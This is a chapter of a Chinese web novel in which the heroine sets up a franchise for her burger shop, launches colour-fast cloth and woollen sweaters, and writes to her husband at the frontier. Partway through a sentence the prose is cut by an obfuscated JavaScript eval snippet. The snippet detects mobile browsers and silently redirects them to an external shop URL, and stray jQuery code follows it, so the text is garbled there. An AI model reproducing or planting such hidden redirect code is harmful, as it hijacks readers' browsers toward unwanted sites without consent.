“什么叫……加盟?”林老爷也是第一次听这样的说法。
“简而言之就是可以开店,但是必须是以我的名义才行。”丁玥解释,“就相当于开分店,就像码头的那家丁堡堡和这家丁堡堡的关系。”
“可是这两家店本来也是丁掌柜您的,方子也在您手里,我们这……在别的地方开店,也不好弄啊。”
丁玥:“林老爷放心,方子的事儿您不用担心,这个加盟就相当于您从我手上买我现在的整个流程,包括品牌、技术、店铺风格这些。”
林老爷大致听明白了:“其实就是我花钱买你的影响力。”
丁玥点头:“可以这么说。”
林老爷沉吟片刻,丁堡堡的确好吃,但现在还没有传出很远的范围,影响力倒还不算大,至于丁玥本身,倒是个很好的宣传法子。
再一个,这家店开在码头上,想必来往的商船尝过不少,这一路下去,多数都是到他们西江府的,所以客流量也不用担心。
“那这盈利是怎么算的?”林老爷还是最关心这个问题。
“自然是分成,我提供品牌和技术,您什么都不需要管,只用出钱就行。”
林老爷觉得没什么问题,他的本意其实就是想在家门口开一家方便他随时吃,不过还能顺便赚钱这倒是挺好。
二人又细聊几句,敲定合作细节。
“到时候林老爷您选好了开店地址、收整完、招好了人之后再把他们送过来津易县统一学习就行。”
选开店地址这些没问题,林老爷还在西江府经营着别的生意,心里还是很清楚怎么选址,目标人群是哪些的。
谈完这些,丁玥送走了林老爷和林管家,感觉江安府府城的分店也可以开起来了。
连安是直接一手包办,津易县的两个铺子他都是一直在跟进的人,很清楚要注意的步骤和细节,而且现在兜里有的是钱,纯用盈利在府城开铺子都不是难事儿。
这些日子以来,丁堡堡高级分店的营业额已经达到了普通店的六倍,连安简直不敢相信自己的眼睛,确认了好几遍,原来有钱人的钱真的这么好赚。
一小碟样式精致的点心百八十文,就吃几口,她们点起来也是眼睛眨都不眨一下的,多的时候一下午能在丁堡堡消费掉好几两,走的时候还额外打包几份说要带走送人。
连安自认为自己也算是有钱人,但他还没过过这样潇洒的生活,人和人还是不一样的。
连安也就是感叹几句,又接着去干了,他接下来会待在府城,一边准备乡试一边盯新店的进度,不过还是主要准备乡试,进度可以交给正德来盯。
不知不觉,李春桂那边染坊交出去的第一批货已经上架了。
杨天昊已经让自己的夫人提前送了好几匹颜色独特的去县令大人的府上给县令夫人。
不是什么贵重的东西,也没什么事求着办,就是说颜色好看,适合县令夫人,这话听了让人高兴,县令夫人也收下了,没隔几天就在赏花宴上穿出来了。
在场的都是商户的家眷,县令夫人自然是她们捧着的对象。
“舒夫人这身衣裳颜色好特别,怎么从来没见过?”
“这颜色衬得夫人您皮肤气色极好,方才我远远望着还以为是哪家的小娘子第一次跟着长辈出来呢。”
舒夫人笑着点了点她们:“好了好了,你们一个个小嘴儿跟抹了蜜似的,一天到晚就知道哄我高兴,我也不瞒你们,这匹新布也是我近日才得的,这颜色还有好多好看的,说是杨家的福源绸缎庄近日就会上新,你们若是想要,去看看就是。”
于是,绸缎庄上新的那日,各家夫人小姐早早派下人去订购了好些新颜色的布料,她们倒是不在意掉不掉色,只在意颜色是不是好看,暗纹是不是好看,款式是不是新颖。
她们不在意有的是人在意,普通百姓还是占绝大多数的,福源绸缎庄的伙计在外面给大家演示不掉色的布匹,一下就吸引了街上人的视线。
“绸缎庄上新了——不褪色的布匹大家都来看看诶——”
“不褪色?你洗一个我看看呢?”有人不相信,让伙计把布匹往水里浸。
“这位客人您瞧好了。”伙计扯出一截来,放进了旁边的清水里,揉搓数下再拿出来,展开给客人看,“您看,这水也是清凉的,我这布也没褪色,我没骗人吧?”
“哎哟?”客人翻来覆去看好几遍还是不信,“我试试这水呢?”
伙计让开:“您试。”
那客人对着围观的群众道:“我这衣服可是今天为了上县里来特意穿的,这买回去还不敢洗,就是怕颜色洗掉了不好看,我今日就豁出去了,替大家伙儿试试!”
说完他拉起一截衣角放进水里搓洗,拿出来一看还真褪色了,水也变浑浊了。
他好像没料到一般张大了嘴巴对着伙计道:“你这布是真不褪色啊?”
伙计:“这是自然,今日给大家的演示都是真实的,我们的布说不褪色就不褪色。”
“那我还真得去看看了。”客人也不管自己还湿着的衣角,直接就进店去了。
他这一动作带动了不少还在观望的人,有些是去瞧个稀奇,有些是真想试试,但无一例外的,所有从铺子里走出来的人手上都没空着,或多或少的搬了一匹走。
新出的颜色是真好看,就冲着颜色买也值了。
杨天昊看这火爆程度,又去长河村找李春桂和丁玥,想再加购几批。
丁玥听闻来意道:“杨公子先不必着急,我带您去看个新东西。”
杨天昊直觉又是好事,顿时来了兴趣:“哦?”
丁玥带他去看剪下来的羊毛和搓出来的毛线:“杨公子您看,这样的毛线织出来的羊毛衫可比棉衣暖和,冬日的棉衣不免臃肿,而且穿几次就结块儿变硬了,还得重新弹,但是羊毛衫不一样,它又轻便巧又保暖,穿在里面相当方便。”
杨天昊听完觉得大有可为:“那这时间和成本?”
丁玥:“实不相瞒,这成本还挺高的,主要是人工,这比织布慢,两天才能出一件。”
杨天昊:“这倒不是问题,缺人可以再找,我们绸缎庄的出货量大,得在冬天之前赶出足够的量才行。”
丁玥:“还有一个问题,我们只有四十只羊,顶天了就能织四十件出来,不知道杨公子您有没有什么
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17749775|203027||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
办法弄来原料?”
杨天昊思考了一下:“行,这个你们别管了,我去想办法,肯定给你们送足够的羊毛过来。”
他果然说到做到,羊毛不用担心了,只管做衣服就是。
于是染坊又扩招了,不仅要染布的女工,还要会织毛衣的女工,这下村里的人是怎么都不够用了,已经在向外村招人了。
一切都井然有序的进行着,钱也在源源不断的朝着丁玥的口袋里来,现在在手里的流动资金不用算应该都是有上百两的,丁玥很安心,感觉做什么都不会束手束脚的。
夏天又快要到了,这次除了冰粉之外她还想加些小食,凉虾就不错,去年想做,但是买不起石磨,今年倒是可以放开手脚了。
丁玥坐在书案前撑着脑袋提笔一一列出接下来的计划,片刻后意识到好久没给文昭写信了,文昭已经回北疆两个多月了,这两个多月忙的她晕头转向的,现在才想起来。
不过文昭也没来信,不知道是不是他现在要处理的事情太多,毕竟前不久才升了一次官。
丁玥从上官蓉那里得知文昭现在的职务要分管的事务很多,练兵、修筑防御工事、屯田等等都是他要过问的,所以没空给家里写信也正常。
这些日子以来,家里的每个人都忙的不行,起床都见不着人影,她自己是总领大方向,出去和人谈合作,文永才和游山梅对牧场和养殖场上心的很,每天都去守着看,上官蓉也去学堂给大家上课,丁瑶和盼云在这边帮她管着收菜的事,顺便顾着家里。
就算是现在家里也只有她一个人,丁玥看着列完了的计划,也差不多是时候给文昭写信了。
“阿昭,不知你近日如何?家里一切都好,还很忙碌,牧场和养殖场已经走上了正轨,爹娘现在忙的脚不沾地,恨不得晚上觉都不睡的守在那里,还有桂姨的染坊也很忙,杨公子说生意太火爆,又来定制一批,人手不够,还从别村招了些,你说这像不像我之前给你提过的先富带动后富?咱们村也带动了周围别的村。”
“前些日子因为我改良的曲辕犁还受到了圣上的奖赏,你也跟着我沾光了哦,记得说谢谢我。说起这个,也不知道是不是圣上的旨意让更多人知道我了,总觉得这些日子的盈利又多了好多,如果能一直躺着钱就往我的口袋里走就好了。”
“你一定想不到,冒菜店没有开连锁,反而是丁堡堡先开了,前几日西江府的商户来找我说想买方子开店,我说不行,得加盟,只能买我的品牌,他还是第一次听到我这样的方式,考虑一番也同意了,所以咱们的丁堡堡要在别的府城开业了,我还叫连安在府城也看看铺子,准备在府城也开一个,说不定丁堡堡马上就会遍布大燕,成为大燕第一连锁品牌。”
“你应该挺忙的,我就不多说了,千万保重。”
文昭的确很忙,这边要指挥着大军耕种,那边还要提防着匈奴的突袭。
不知是不是连续失去两个儿子和五万兵马让乌维单于大受刺激,现在的突袭频率较之以往高了不是一点半点。
不过想组织大规模进攻也暂时没有能力,匈奴如今剩下的大军不过二十万左右,最好的选择就是按兵不动,修生养息。